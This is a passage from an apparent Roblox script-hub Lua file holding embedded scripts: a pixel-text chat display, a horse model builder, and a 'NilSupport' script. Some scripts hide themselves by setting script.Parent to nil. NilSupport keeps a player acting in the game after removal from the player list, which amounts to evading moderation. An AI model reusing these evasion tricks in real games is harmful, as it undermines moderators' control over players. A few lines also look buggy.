  4889. wait(0.02)
  4890. if p.Position~=a then
  4891. s5.Pitch=s5.Pitch+0.035
  4892. else
  4893. s5.Pitch=1
  4894. end
  4895. end))
  4896. --[[
  4897. while wait() do
  4898. local fx=Instance.new("Part")
  4899. fx.FormFactor="Custom"
  4900. fx.Anchored=true
  4901. fx.TopSurface="Smooth"
  4902. fx.BottomSurface="Smooth"
  4903. fx.Size=Vector3.new(0.4,0.4,0.4)
  4904. fx.CFrame=p.CFrame*CFrame.new(math.random(1,3),math.random(3,4),math.random(1,3))
  4905. if sound==true then
  4906. sel.Color=BrickColor.Random()
  4907. end
  4908. if engulfed==true then
  4909. p.Transparency=1
  4910. pc.Transparency=1
  4911. sel.Transparency=1
  4912. sel2.Transparency=1
  4913. end
  4914. coroutine.wrap(function()
  4915. local walrus=0
  4916. while fx~=nil do
  4917. wait()
  4918. walrus=walrus+0.02
  4919. fx.CFrame=fx.CFrame*(p.CFrame)*CFrame.new(0,walrus,0)
  4920. end
  4921. end)()
  4922. game.Debris:addItem(fx,3)
  4923. end
  4924. ]]
  4925.  
  4926. ]==]
  4927.  
  4928. PixelChat = [[
  4929. wait(0.001)
  4930. script:ClearAllChildren();
  4931. script.Parent=nil;
  4932. wait(1)
  4933. LocalPlayer = game:service'Players'.LocalPlayer
  4934. Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010","00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"}
  4935. DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name))
  4936. DeModel.StudsOffset = Vector3.new(0,2.5,0)
  4937. DeModel.Name = ":D"
  4938. local Colors = {"Dark green", "Really red","Bright yellow","Bright orange","Lavender","Royal purple","Bright blue","Toothpaste","Institutional white","Hot pink","Really black"}
  4939. FR = Instance.new("Frame",DeModel)
  4940. FR.Size=UDim2.new(1,0,1,0)
  4941. FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  4942. FR.BackgroundTransparency = 1
  4943. FR.BorderSizePixel=0
  4944. FR.ZIndex=2
  4945. CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head
  4946. game:service'RunService'.RenderStepped:connect(function()
  4947. pcall(function()
  4948. local a = workspace:findFirstChild(LocalPlayer.Name)
  4949. if a.ClassName == 'Part' then
  4950. CurrParent = a
  4951. else
  4952. CurrParent = a:findFirstChild'Head'
  4953. end
  4954. end)
  4955. if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then
  4956. pcall(function()
  4957. if CurrParent.ClassName == 'Part' then
  4958. DeModel = Instance.new("BillboardGui", CurrParent)
  4959. DeModel.Adornee = CurrParent
  4960. DeModel.StudsOffset = Vector3.new(0,2.5,0)
  4961. DeModel.Name = ":D"
  4962. FR = Instance.new("Frame",DeModel)
  4963. FR.Size=UDim2.new(1,0,1,0)
  4964. FR.BackgroundColor3=BrickColor.new("Institutional white").Color
  4965. FR.BackgroundTransparency = 1
  4966. FR.BorderSizePixel=0
  4967. FR.ZIndex=2
  4968. end
  4969. end)
  4970. end
  4971. end)
  4972. function CreateLetter(what, pos, posy, cl)
  4973. pcall(function()
  4974. if cl == nil then cl = (Colors[math.random(1, #Colors)]) end
  4975. if Letters[what:byte()-31] then
  4976. what = Letters[what:byte()-31]
  4977. else
  4978. what = Letters[1]
  4979. end
  4980. if type(what) ~= "string" then return end
  4981. what = what:gsub('\n','')
  4982. what = what:gsub('\t','')
  4983. what = what:gsub(' ','')
  4984. pos = pos * 2
  4985. posy = posy * 2
  4986. c = 0
  4987. for y=1,7 do
  4988. for x=1,5 do
  4989. c = c + 1
  4990. if what:sub(c, c) == "1" then
  4991. local a = Instance.new("Frame", FR)
  4992. a.Name = "L"
  4993. a.ZIndex=3
  4994. a.Size = UDim2.new(0,2,0,2)
  4995. a.BorderSizePixel = 0
  4996. a.BackgroundTransparency = 1
  4997. a.BackgroundColor3 = BrickColor.new(cl).Color
  4998. a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy)
  4999. coroutine.wrap(function()
  5000. wait(math.random(1, 10)/50)
  5001. a.BackgroundTransparency = 0
  5002. end)()
  5003. end
  5004. end
  5005. end
  5006. end)
  5007. end
  5008. LocalPlayer.Chatted:connect(function(m)
  5009. pcall(function()
  5010. local cl = (Colors[math.random(1, #Colors)])
  5011. for _,v in pairs(DeModel.Frame:children()) do
  5012. v:Destroy()
  5013. end
  5014. if m:sub(1,2) == '/e' then return end
  5015. if m:sub(1,3) == "/! " then
  5016. m = m:sub(4)
  5017. DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color
  5018. else
  5019. DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color
  5020. DeModel.Frame.BackgroundTransparency = 1
  5021. end
  5022. m1 = m:gsub("\n"," ")
  5023. m1 = m1:gsub("\t"," ")
  5024. m1 = m1:gsub("math.pi",tostring(math.pi))
  5025. if #m1 <= 30 then
  5026. DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20)
  5027. elseif #m1 <= 60 then
  5028. DeModel.Size = UDim2.new(0,330,0,40)
  5029. elseif #m1 <= 90 then
  5030. DeModel.Size = UDim2.new(0,330,0,60)
  5031. elseif #m1 > 90 then
  5032. DeModel.Size = UDim2.new(0,340,0,60)
  5033. m1 = m1:sub(1,90).."..."
  5034. end
  5035. if #m1 < 30 then
  5036. for i = 1,#m1 do
  5037. CreateLetter(m1:sub(i,i),i*5,0,cl)
  5038. wait(1/60)
  5039. end
  5040. elseif #m1 <= 60 then
  5041. for i = 1,30 do
  5042. CreateLetter(m1:sub(i,i),i*5,0,cl)
  5043. wait(1/60)
  5044. end
  5045. for i = 31,#m1 do
  5046. CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  5047. wait(1/60)
  5048. end
  5049. elseif #m1 >= 60 then
  5050. for i = 1,30 do
  5051. CreateLetter(m1:sub(i,i),i*5,0,cl)
  5052. wait(1/60)
  5053. end
  5054. for i = 31,60 do
  5055. CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
  5056. wait(1/60)
  5057. end
  5058. for i = 61,#m1 do
  5059. CreateLetter(m1:sub(i,i),(i-60)*5,20,cl)
  5060. wait(1/60)
  5061. end
  5062. end
  5063. end)
  5064. end)
  5065. ]]
  5066.  
  5067. NilSupport = [[
  5068. wait(0.001)
  5069. script:ClearAllChildren()
  5070. script.Parent=nil
  5071. wait(1)
  5072. LocalPlayer = game:service'Players'.LocalPlayer
  5073. ProbeMode = false
  5074. char = nil
  5075. probe = nil
  5076. game:service'Debris':AddItem(x,3)
  5077. if LocalPlayer.Character then
  5078. LocalPlayer.Character.Archivable = true
  5079. char = LocalPlayer.Character:Clone()
  5080. char.Torso.Anchored = true
  5081. else
  5082. local con = LocalPlayer.CharacterAdded:connect(function()
  5083. wait(0.5)
  5084. LocalPlayer.Character.Archivable = true
  5085. char = LocalPlayer.Character:Clone()
  5086. char.Torso.Anchored = true
  5087. end)
  5088. end
  5089. xcon = LocalPlayer.Changed:connect(function(asd)
  5090. if asd == 'Parent' then
  5091. local a = Instance.new("Hint",workspace)
  5092. a.Text = '[ Connected|CMDS|Probe|Char|Fcam|Rej ]'
  5093. game:service'Debris':AddItem(a,3)
  5094. end
  5095. end)
  5096. asdcon = LocalPlayer.Chatted:connect(function(msg)
  5097. pcall(function()
  5098. if LocalPlayer.Parent ~= game:service'Players' then
  5099. if msg == 'char/' then
  5100. ProbeMode = false
  5101. elseif msg == 'probe/' then
  5102. ProbeMode = true
  5103. elseif msg == 'fcam/' then
  5104. if LocalPlayer.Parent ~= game:service'Players' then
  5105. if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
  5106. if ProbeMode == false then
  5107. game.Players.CurrentCamera.CameraSubject = game.Workspace[LocalPlayer.Name].Humanoid
  5108. end
  5109. end
  5110. end
  5111. elseif msg == 'rej/' then
  5112. coroutine.wrap(function()
  5113. if ProbeMode == true then
  5114. probe:remove()
  5115. else
  5116. LocalPlayer.Character:remove()
  5117. char = nil
  5118. end
  5119. zcon:disconnect()
  5120. asdcon:disconnect()
  5121. xcon:disconnect()
  5122. end)()
  5123. game:service'TeleportService':Teleport(game.PlaceId)
  5124. else
  5125. if ProbeMode == true then
  5126. game:service'Chat':Chat(probe,msg)
  5127. else
  5128. game:service'Chat':Chat(LocalPlayer.Character.Head,msg)
  5129. end
  5130. end
  5131. end
  5132. end)
  5133. end)
  5134. zcon = game:service'RunService'.RenderStepped:connect(function()
  5135. if LocalPlayer.Parent ~= game:service'Players' then
  5136. if ProbeMode == false then
  5137. if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
  5138. local chr = char:Clone()
  5139. chr.Parent = workspace
  5140. LocalPlayer.Character = chr
  5141. wait(0.1)
  5142. game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid'
  5143. end
  5144. else
  5145. if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'LuaScripterLSMesh' == nil then
  5146. if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end
  5147. local a = Instance.new("Part",workspace)
  5148. a.Name = LocalPlayer.Name
  5149. a.FormFactor = 'Custom'
  5150. a.CanCollide = false
  5151. a.Locked = true
  5152. a.Anchored = true
  5153. a.TopSurface = 0
  5154. a.BottomSurface = 0
  5155. a.Size = Vector3.new(2,2,2)
  5156. a.BrickColor = BrickColor.new("Really black")
  5157. local b = Instance.new('SpecialMesh',a)
  5158. b.Name = 'LuaScripterLSMesh'
  5159. b.MeshType = 'Sphere'
  5160. probe = a
  5161. else
  5162. local asd = probe:findFirstChild'LuaScripterLS1164Mesh'
  5163. asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2)
  5164. probe.CFrame = workspace.CurrentCamera.Focus
  5165. end
  5166. end
  5167. end
  5168. end)
  5169. LocalPlayer:GetMouse().KeyDown:connect(function(k)
  5170. key = k
  5171. end)
  5172. LocalPlayer:GetMouse().KeyUp:connect(function()
  5173. key = nil
  5174. end)
  5175. game:service'RunService'.RenderStepped:connect(function()
  5176. if LocalPlayer.Parent ~= game:service'Players' then
  5177. if ProbeMode == false then
  5178. if LocalPlayer.Character ~= nil then
  5179. if key == 'w' then
  5180. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5)
  5181. elseif key == 's' then
  5182. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5)
  5183. elseif key == 'd' then
  5184. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0)
  5185. elseif key == 'a' then
  5186. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0)
  5187. end
  5188. end
  5189. end
  5190. end
  5191. end)
  5192. ]]
  5193.  
  5194. DarkHorse = [==[
  5195. local player=game.Players.LocalPlayer
  5196. Breeds = {
  5197. { -- Black
  5198. fur=BrickColor.new("Really black"),
  5199. mane=BrickColor.new("Really black"),
  5200. saddle=BrickColor.new("Really black"),
  5201. reins=BrickColor.new("Black"),
  5202. hoof=BrickColor.new("Really black")
  5203. }
  5204. }
  5205.  
  5206. local Breed = Breeds[math.random(1,#Breeds)]
  5207.  
  5208. local ModelName = "Horse"
  5209. local ModelParent = workspace
  5210. --pcall(function() ModelParent[ModelName]:Destroy() end)
  5211.  
  5212. local ReinsHold = nil
  5213. local Height = 6.2
  5214. local rHeight = Height
  5215.  
  5216. local HasHat = false
  5217. local HatMeshId = "rbxassetid://42157240"
  5218. local HatTexId = ""
  5219. local HorseColor = Breed.fur
  5220. local EyeColor = BrickColor.new("Really red")
  5221. local ManeColor = Breed.mane
  5222. local SaddleColor = Breed.saddle
  5223. local ReinsColor = Breed.reins
  5224. local HoofColor = Breed.hoof
  5225. local oc = oc or function(...) return ... end
  5226. local ModelScale = .6
  5227.  
  5228. local Speed = 0
  5229. local WalkSpeed = 15
  5230. local WalkSin = 6
  5231. local TrotSpeed = 30
  5232. local TrotSin = 4
  5233. local GallopSin = 60
  5234. local MaxSpeed = 70
  5235. local SpeedLimit = 70
  5236.  
  5237.  
  5238. local startpos = workspace.LocalPlayer.Head.CFrame * CFrame.new(0,Height+1.5,10)--script.Parent:IsA("BasePart") and script.Parent.CFrame * CFrame.new(0,Height,0) or CFrame.new(0,Height+1,20)
  5239.  
  5240. math.randomseed(tick()+215819240)
  5241. math.random() math.random() math.random()
  5242. aran = function() return math.random() end
  5243. ran = function() return (math.random()-.5)*2 end
  5244.  
  5245. function Weld(a,b,c,d)
  5246. local w = Instance.new("Weld",a)
  5247. w.Part0 = a
  5248. w.Part1 = b
  5249. w.C0 = c or CFrame.new()
  5250. w.C1 = d or CFrame.new()
  5251. return w
  5252. end
  5253.  
  5254.  
  5255. do -- Ignore my clerp stuff stolen from stravvy
  5256. local function QuaternionFromCFrame(cf)
  5257. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  5258. local trace = m00 + m11 + m22
  5259. if trace > 0 then
  5260. local s = math.sqrt(1 + trace)
  5261. local recip = 0.5/s
  5262. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  5263. else
  5264. local i = 0
  5265. if m11 > m00 then
  5266. i = 1
  5267. end
  5268. if m22 > (i == 0 and m00 or m11) then
  5269. i = 2
  5270. end
  5271. if i == 0 then
  5272. local s = math.sqrt(m00-m11-m22+1)
  5273. local recip = 0.5/s
  5274. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  5275. elseif i == 1 then
  5276. local s = math.sqrt(m11-m22-m00+1)
  5277. local recip = 0.5/s
  5278. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  5279. elseif i == 2 then
  5280. local s = math.sqrt(m22-m00-m11+1)
  5281. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  5282. end
  5283. end
  5284. end
  5285. local function QuaternionToCFrame(px, py, pz, x, y, z, w)
  5286. local xs, ys, zs = x + x, y + y, z + z
  5287. local wx, wy, wz = w*xs, w*ys, w*zs
  5288. local xx = x*xs
  5289. local xy = x*ys
  5290. local xz = x*zs
  5291. local yy = y*ys
  5292. local yz = y*zs
  5293. local zz = z*zs
  5294. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  5295. end
  5296. local function QuaternionSlerp(a, b, t)
  5297. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  5298. local startInterp, finishInterp;
  5299. if cosTheta >= 0.0001 then
  5300. if (1 - cosTheta) > 0.0001 then
  5301. local theta = math.acos(cosTheta)
  5302. local invSinTheta = 1/math.sin(theta)
  5303. startInterp = math.sin((1-t)*theta)*invSinTheta
  5304. finishInterp = math.sin(t*theta)*invSinTheta
  5305. else
  5306. startInterp = 1-t
  5307. finishInterp = t
  5308. end
  5309. else
  5310. if (1+cosTheta) > 0.0001 then
  5311. local theta = math.acos(-cosTheta)
  5312. local invSinTheta = 1/math.sin(theta)
  5313. startInterp = math.sin((t-1)*theta)*invSinTheta
  5314. finishInterp = math.sin(t*theta)*invSinTheta
  5315. else
  5316. startInterp = t-1
  5317. finishInterp = t
  5318. end
  5319. end
  5320. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  5321. end
  5322. function clerp(a,b,t)
  5323. local qa = {QuaternionFromCFrame(a)}
  5324. local qb = {QuaternionFromCFrame(b)}
  5325. local ax, ay, az = a.x, a.y, a.z
  5326. local bx, by, bz = b.x, b.y, b.z
  5327. local _t = 1-t
  5328. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  5329. end
  5330. end
  5331.  
  5332. function lerp(a,b,c)
  5333. return a+(b-a)*c
  5334. end
  5335.  
  5336. function ctlerp(c1,c2,al) -- Older, "worse" clerp if the other one fails..
  5337. local com1 = {c1:components()}
  5338. local com2 = {c2:components()}
  5339. for i,v in pairs(com1) do
  5340. com1[i] = lerp(v,com2[i],al)
  5341. end
  5342. return CFrame.new(unpack(com1))
  5343. end
  5344.  
  5345.  
  5346. local Model = Instance.new("Model",ModelParent)
  5347. Model.Name = ModelName
  5348.  
  5349. local BasePart = Instance.new("Part")
  5350. BasePart.FormFactor = "Custom"
  5351. BasePart.Size = Vector3.new()
  5352. BasePart.TopSurface,BasePart.BottomSurface,BasePart.LeftSurface,BasePart.RightSurface,BasePart.FrontSurface,BasePart.BackSurface = 10,10,10,10,10,10
  5353. BasePart:BreakJoints()
  5354. BasePart.CFrame = startpos
  5355.  
  5356. function NP()
  5357. local p = BasePart:Clone()
  5358. p.Parent = Model
  5359. return p
  5360. end
  5361.  
  5362. function Sphere(parent,scale)
  5363. local sm = Instance.new("SpecialMesh",parent)
  5364. sm.MeshType = "Sphere"
  5365. sm.Scale = scale or Vector3.new(1,1,1)
  5366. return sm
  5367. end
  5368.  
  5369. BasePart.BrickColor = HorseColor
  5370.  
  5371. local Main = NP()
  5372. Main.Size = Vector3.new(3.5,4.5,8)
  5373. Main.CFrame = startpos
  5374.  
  5375. MainMesh = Sphere(Main)
  5376.  
  5377. local Neck = NP()
  5378. Neck.Size = Vector3.new(2,5,2.5)
  5379. local NeckWeld = Weld(Main,Neck,CFrame.new(0,0.5,-3.2)*CFrame.Angles(math.rad(-20),0,0),CFrame.new(0,-1.5,0))
  5380. local NeckWeld0 = NeckWeld.C0
  5381. Sphere(Neck,Vector3.new(1,1,1))
  5382.  
  5383. local NeckBonus = NP()
  5384. NeckBonus.Size = Vector3.new(1.9,3,2)
  5385. Weld(Neck,NeckBonus,CFrame.new(0,-1.1,.5)*CFrame.Angles(-.5,0,0))
  5386. Sphere(NeckBonus)
  5387.  
  5388. local Head = NP()
  5389. Head.Size = Vector3.new(2,3,3)
  5390. local HeadWeld = Weld(Neck,Head,CFrame.new(0,2.5,-.4),CFrame.new(0,0,1))
  5391. local HeadWeld0 = HeadWeld.C0
  5392. local HeadMesh = Instance.new("SpecialMesh",Head)
  5393. HeadMesh.Scale = Vector3.new(0.7,1,1)*1.6
  5394. HeadMesh.MeshId = "http://www.roblox.com/asset/?id=114690930"
  5395.  
  5396. if HasHat then
  5397. local Hat = NP()
  5398. Hat.Size = Vector3.new()
  5399. Hat.BrickColor = SaddleColor
  5400. local HatWeld = Weld(Head,Hat,CFrame.new(0,1.11,1.3),CFrame.Angles(math.rad(-20),0,0))
  5401. local HatMesh = Instance.new("SpecialMesh",Hat)
  5402. HatMesh.Scale = Vector3.new(1.5,1.5,1.5)
  5403. HatMesh.MeshId = HatMeshId or "rbxassetid://42157240"
  5404. HatMesh.TextureId = HatTexId or ""
  5405. end
  5406.  
  5407. local EyeR = NP()
  5408. EyeR.BrickColor = EyeColor
  5409. EyeR.Reflectance = .1
  5410. EyeR.Size = Vector3.new(.2,.2,.2)
  5411. Weld(Head,EyeR,CFrame.new(.631,.23,.11)*CFrame.Angles(-0.2,0.1,0))
  5412. Sphere(EyeR,Vector3.new(.9,2.1,2.1))
  5413.  
  5414. local EyeL = NP()
  5415. EyeL.BrickColor = EyeColor
  5416. EyeL.Reflectance = .1
  5417. EyeL.Size = Vector3.new(.2,.2,.2)
  5418. Weld(Head,EyeL,CFrame.new(-.631,.23,.11)*CFrame.Angles(-0.2,-0.1,0))
  5419. Sphere(EyeL,Vector3.new(.9,2.1,2.1))
  5420.  
  5421. BasePart.Name = "Reins"
  5422.  
  5423. local RPart = NP() -- rs1
  5424. RPart.BrickColor = ReinsColor
  5425. RPart.Size = Vector3.new(.2,.7,.25)
  5426. Weld(Head,RPart,CFrame.new(.4,-.5,-1.05)*CFrame.Angles(-.25,0,0))
  5427.  
  5428. local Cyl = NP()
  5429. Cyl.BrickColor = ReinsColor
  5430. Cyl.Size = Vector3.new(.2495,.2,.2)
  5431. Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
  5432. Weld(RPart,Cyl,CFrame.new(0,RPart.Size.Y/2,0)*CFrame.Angles(0,math.pi/2,0))
  5433.  
  5434. local RPart = NP() -- rs2
  5435. RPart.BrickColor = ReinsColor
  5436. RPart.Size = Vector3.new(.2,.4,.25)
  5437. Weld(Head,RPart,CFrame.new(.4,-.5,-1.05)*CFrame.Angles(-.25,0,0)*CFrame.new(0,-.35,0)*CFrame.Angles(0,0,-.5)*CFrame.new(0,-.2,0))
  5438. RPP = Instance.new("Smoke")
  5439. RPP.Parent = RPart
  5440. RPP.Opacity = 0.045
  5441. RPP.RiseVelocity = 0
  5442. RPP.Size = 0.1
  5443.  
  5444. local Cyl = NP()
  5445. Cyl.BrickColor = ReinsColor
  5446. Cyl.Size = Vector3.new(.2495,.2,.2)
  5447. Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
  5448. Weld(RPart,Cyl,CFrame.new(0,RPart.Size.Y/2,0)*CFrame.Angles(0,math.pi/2,0))
  5449. local ReinAnchorR = Cyl
  5450.  
  5451. local RPart = NP() -- ls1
  5452. RPart.BrickColor = ReinsColor
  5453. RPart.Size = Vector3.new(.2,.7,.25)
  5454. Weld(Head,RPart,CFrame.new(-.4,-.5,-1.05)*CFrame.Angles(-.25,0,0))
  5455.  
  5456. local Cyl = NP()
  5457. Cyl.BrickColor = ReinsColor
  5458. Cyl.Size = Vector3.new(.2495,.2,.2)
  5459. Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
  5460. Weld(RPart,Cyl,CFrame.new(0,RPart.Size.Y/2,0)*CFrame.Angles(0,math.pi/2,0))
  5461.  
  5462. local RPart = NP() -- ls2
  5463. RPart.BrickColor = ReinsColor
  5464. RPart.Size = Vector3.new(.2,.4,.25)
  5465. Weld(Head,RPart,CFrame.new(-.4,-.5,-1.05)*CFrame.Angles(-.25,0,0)*CFrame.new(0,-.35,0)*CFrame.Angles(0,0,.5)*CFrame.new(0,-.2,0))
  5466.  
  5467. local Cyl = NP()
  5468. Cyl.BrickColor = ReinsColor
  5469. Cyl.Size = Vector3.new(.2495,.2,.2)
  5470. Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
  5471. Weld(RPart,Cyl,CFrame.new(0,RPart.Size.Y/2,0)*CFrame.Angles(0,math.pi/2,0))
  5472. local ReinAnchorL = Cyl
  5473.  
  5474. local RPart = NP() -- mb
  5475. RPart.BrickColor = ReinsColor
  5476. RPart.Size = Vector3.new(.5,.2,.249)
  5477. Weld(Head,RPart,CFrame.new(0,-.5,-1.05)*CFrame.Angles(-.25,0,0)*CFrame.new(0,-.65,0))
  5478.  
  5479. local Cyl = NP()
  5480. Cyl.BrickColor = ReinsColor
  5481. Cyl.Size = Vector3.new(.2495,.2,.2)
  5482. Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
  5483. Weld(RPart,Cyl,CFrame.new(RPart.Size.X/2,0,0)*CFrame.Angles(0,math.pi/2,0))
  5484.  
  5485. local Cyl = NP()
  5486. Cyl.BrickColor = ReinsColor
  5487. Cyl.Size = Vector3.new(.2495,.2,.2)
  5488. Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
  5489. Weld(RPart,Cyl,CFrame.new(-RPart.Size.X/2,0,0)*CFrame.Angles(0,math.pi/2,0))
  5490.  
  5491. local RPart = NP() -- mt
  5492. RPart.BrickColor = ReinsColor
  5493. RPart.Size = Vector3.new(.8,.2,.249)
  5494. Weld(Head,RPart,CFrame.new(0,-.5,-1.05)*CFrame.Angles(-.25,0,0)*CFrame.new(0,.35,0))
  5495.  
  5496. local RPart = NP()
  5497. RPart.BrickColor = ReinsColor
  5498. local sm = Instance.new("SpecialMesh",RPart)
  5499. sm.MeshType = "Sphere"
  5500. local ReinSphereL = Weld(Main,RPart,CFrame.new(-1,3,0))
  5501.  
  5502. local RPart = NP()
  5503. RPart.BrickColor = ReinsColor
  5504. local sm = Instance.new("SpecialMesh",RPart)
  5505. sm.MeshType = "Cylinder"
  5506. local ReinLineL = Weld(Main,RPart,CFrame.new(-1,3,-1))
  5507.  
  5508. local RPart = NP()
  5509. RPart.BrickColor = ReinsColor
  5510. local sm = Instance.new("SpecialMesh",RPart)
  5511. sm.MeshType = "Cylinder"
  5512. local ReinSphereR = Weld(Main,RPart,CFrame.new(1,3,0))
  5513.  
  5514. local RPart = NP()
  5515. RPart.BrickColor = ReinsColor
  5516. local sm = Instance.new("SpecialMesh",RPart)
  5517. sm.MeshType = "Cylinder"
  5518. local ReinLineR = Weld(Main,RPart,CFrame.new(1,3,-1))
  5519.  
  5520. local RPart = NP()
  5521. RPart.BrickColor = ReinsColor
  5522. local sm = Instance.new("SpecialMesh",RPart)
  5523. sm.MeshType = "Cylinder"
  5524. local ReinLineM = Weld(Main,RPart,CFrame.new(0,3,0))
  5525.  
  5526. BasePart.Name = "Part"
  5527.  
  5528. local Tail = NP()
  5529. Tail.BrickColor = ManeColor
  5530. Tail.CanCollide = false
  5531. Tail.Transparency = 1
  5532. Tail.Size = Vector3.new(0.8,4.5,0.8)
  5533. local TailWeld = Weld(Main,Tail,CFrame.new(0,.88,3.4)*CFrame.Angles(0,math.rad(10),0),CFrame.new(0,-2.3,0)*CFrame.Angles(math.rad(-130),0,0))
  5534. local TailWeld0 = TailWeld.C0
  5535. local TailHairs = {}
  5536. for i=1,8 do
  5537. local t = NP()
  5538. t.CanCollide = false
  5539. t.BrickColor = Tail.BrickColor
  5540. t.Size = Vector3.new(.4+aran()*.2,5.5-i*.1,.4+aran()*.2)
  5541. local tw = Weld(Tail,t,CFrame.new(0,-Tail.Size.Y/2,0)*CFrame.Angles(ran()*.15,ran()*.5,ran()*.15)*CFrame.new(ran()*.1,0,ran()*.1),CFrame.new(0,-t.Size.Y/2+.05,0))
  5542. table.insert(TailHairs,{w=tw,c0=tw.C0})
  5543. end
  5544. local BackHairs = {}
  5545. for i=0,10 do
  5546. if i<1 or i>7 then
  5547. local x = (i/10)
  5548. local m = NP()
  5549. m.CanCollide = false
  5550. m.BrickColor = ManeColor
  5551. m.Size = Vector3.new(.6+aran()*.2+math.sin(x*2.7)*.5,.9+ran()*.1,.9+ran()*.1)
  5552. if i<1 then m.Size = m.Size*0.7 end
  5553. local tw = Weld(Main,m,CFrame.new(0,.9+math.sin(x*2.8)*1.2,3.4-x*6),CFrame.Angles(ran()*.1,aran()*.1,ran()*.2))
  5554. table.insert(BackHairs,{w=tw,c0=tw.C0})
  5555. end
  5556. end
  5557.  
  5558.  
  5559. local NeckHairs = {}
  5560. for i=0,6 do
  5561. local x = (i/6)
  5562. local m = NP()
  5563. m.CanCollide = false
  5564. m.BrickColor = ManeColor
  5565. m.Size = Vector3.new(.8+ran()*.2,.7+ran()*.1,.9+ran()*.1)
  5566. local tw = Weld(Neck,m,CFrame.new(0,-1.3+x*3.5,1+math.sin(.55+x*3.7)*.5),CFrame.Angles(ran()*.08,aran()*.15,ran()*.08))
  5567. table.insert(NeckHairs ,{w=tw,c0=tw.C0})
  5568. end
  5569.  
  5570.  
  5571. local HeadHairs = {}
  5572. for i=0,6 do
  5573. local x = math.min(1,(i/3))
